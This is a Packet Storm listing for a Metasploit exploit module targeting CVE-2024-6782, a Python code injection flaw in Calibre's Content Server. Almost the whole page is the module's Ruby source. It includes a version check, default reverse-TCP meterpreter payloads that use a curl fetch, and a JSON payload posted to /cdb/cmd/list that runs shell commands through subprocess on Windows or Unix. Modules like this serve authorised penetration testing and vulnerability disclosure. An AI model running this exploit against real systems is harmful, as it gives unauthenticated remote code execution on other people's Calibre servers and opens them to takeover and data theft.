what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Calibre 7.15.0 Python Code Injection

Calibre 7.15.0 Python Code Injection
Posted Aug 8, 2024
Authored by Michael Heinzl, Amos Ng | Site metasploit.com

This Metasploit module exploits a Python code injection vulnerability in the Content Server component of Calibre version 6.9.0 through 7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.

tags | exploit, tcp, python
advisories | CVE-2024-6782
SHA-256 | 2678fd269bdb79e8ada27f1f7870d0382cc42ef2fd75bd19a29cff06a2dd56c3

Calibre 7.15.0 Python Code Injection

Change Mirror Download
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Calibre Python Code Injection (CVE-2024-6782)',
'Description' => %q{
This module exploits a Python code injection vulnerability in the Content Server component of Calibre v6.9.0 - v7.15.0. Once enabled (disabled by default), it will listen in its default configuration on all network interfaces on TCP port 8080 for incoming traffic, and does not require any authentication. The injected payload will get executed in the same context under which Calibre is being executed.
},
'License' => MSF_LICENSE,
'Author' => [
'Amos Ng', # Discovery & PoC
'Michael Heinzl', # MSF exploit
],
'References' => [
[ 'URL', 'https://starlabs.sg/advisories/24/24-6782'],
[ 'CVE', '2024-6782']
],
'DisclosureDate' => '2024-07-31',
'Platform' => ['win', 'linux', 'unix'],
'Arch' => [ ARCH_CMD ],

'Payload' => {
'BadChars' => '\\'
},

'Targets' => [
[
'Windows_Fetch',
{
'Arch' => [ ARCH_CMD ],
'Platform' => 'win',
'DefaultOptions' => {
'FETCH_COMMAND' => 'CURL',
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp'
},
'Type' => :win_fetch
}
],
[
'Linux Command',
{
'Platform' => [ 'unix', 'linux' ],
'Arch' => ARCH_CMD,
'Type' => :nix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/python/meterpreter/reverse_tcp'
}
}
],

],
'DefaultTarget' => 0,

'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)

register_options(
[
Opt::RPORT(8080)
]
)
end

def check
begin
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path)
})
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
return CheckCode::Unknown
end

if res && res.code == 200
data = res.body.to_s
pattern = /CALIBRE_VERSION\s*=\s*"([^"]+)"/

version = data.match(pattern)

if version[1].nil?
return CheckCode::Unknown
else
vprint_status('Version retrieved: ' + version[1].to_s)
end

if Rex::Version.new(version[1]).between?(Rex::Version.new('6.9.0'), Rex::Version.new('7.15.0'))
return CheckCode::Appears
else
return CheckCode::Safe
end
else
return CheckCode::Unknown
end
end

def exploit
execute_command(payload.encoded)
end

def execute_command(cmd)
print_status('Sending payload...')
exec_calibre(cmd)
print_status('Exploit finished, check thy shell.')
end

def exec_calibre(cmd)
payload = '['\
'["template"], '\
'"", '\
'"", '\
'"", '\
'1,'\
'"python:def evaluate(a, b):\\n '\
'import subprocess\\n '\
'try:\\n '\
"return subprocess.check_output(['cmd.exe', '/c', '#{cmd}']).decode()\\n "\
'except Exception:\\n '\
"return subprocess.check_output(['sh', '-c', '#{cmd}']).decode()\""\
']'

res = send_request_cgi({
'method' => 'POST',
'ctype' => 'application/json',
'data' => payload,
'uri' => normalize_uri(target_uri.path, 'cdb/cmd/list')
})

if res && res.code == 200
print_good('Command successfully executed, check your shell.')
elsif res && res.code == 400
fail_with(Failure::UnexpectedReply, 'Server replied with a Bad Request response.')
end
end

end
Login or Register to add favorites

File Archive:

September 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Sep 1st
    261 Files
  • 2
    Sep 2nd
    17 Files
  • 3
    Sep 3rd
    38 Files
  • 4
    Sep 4th
    52 Files
  • 5
    Sep 5th
    23 Files
  • 6
    Sep 6th
    27 Files
  • 7
    Sep 7th
    0 Files
  • 8
    Sep 8th
    1 Files
  • 9
    Sep 9th
    16 Files
  • 10
    Sep 10th
    38 Files
  • 11
    Sep 11th
    21 Files
  • 12
    Sep 12th
    40 Files
  • 13
    Sep 13th
    18 Files
  • 14
    Sep 14th
    0 Files
  • 15
    Sep 15th
    0 Files
  • 16
    Sep 16th
    0 Files
  • 17
    Sep 17th
    0 Files
  • 18
    Sep 18th
    0 Files
  • 19
    Sep 19th
    0 Files
  • 20
    Sep 20th
    0 Files
  • 21
    Sep 21st
    0 Files
  • 22
    Sep 22nd
    0 Files
  • 23
    Sep 23rd
    0 Files
  • 24
    Sep 24th
    0 Files
  • 25
    Sep 25th
    0 Files
  • 26
    Sep 26th
    0 Files
  • 27
    Sep 27th
    0 Files
  • 28
    Sep 28th
    0 Files
  • 29
    Sep 29th
    0 Files
  • 30
    Sep 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close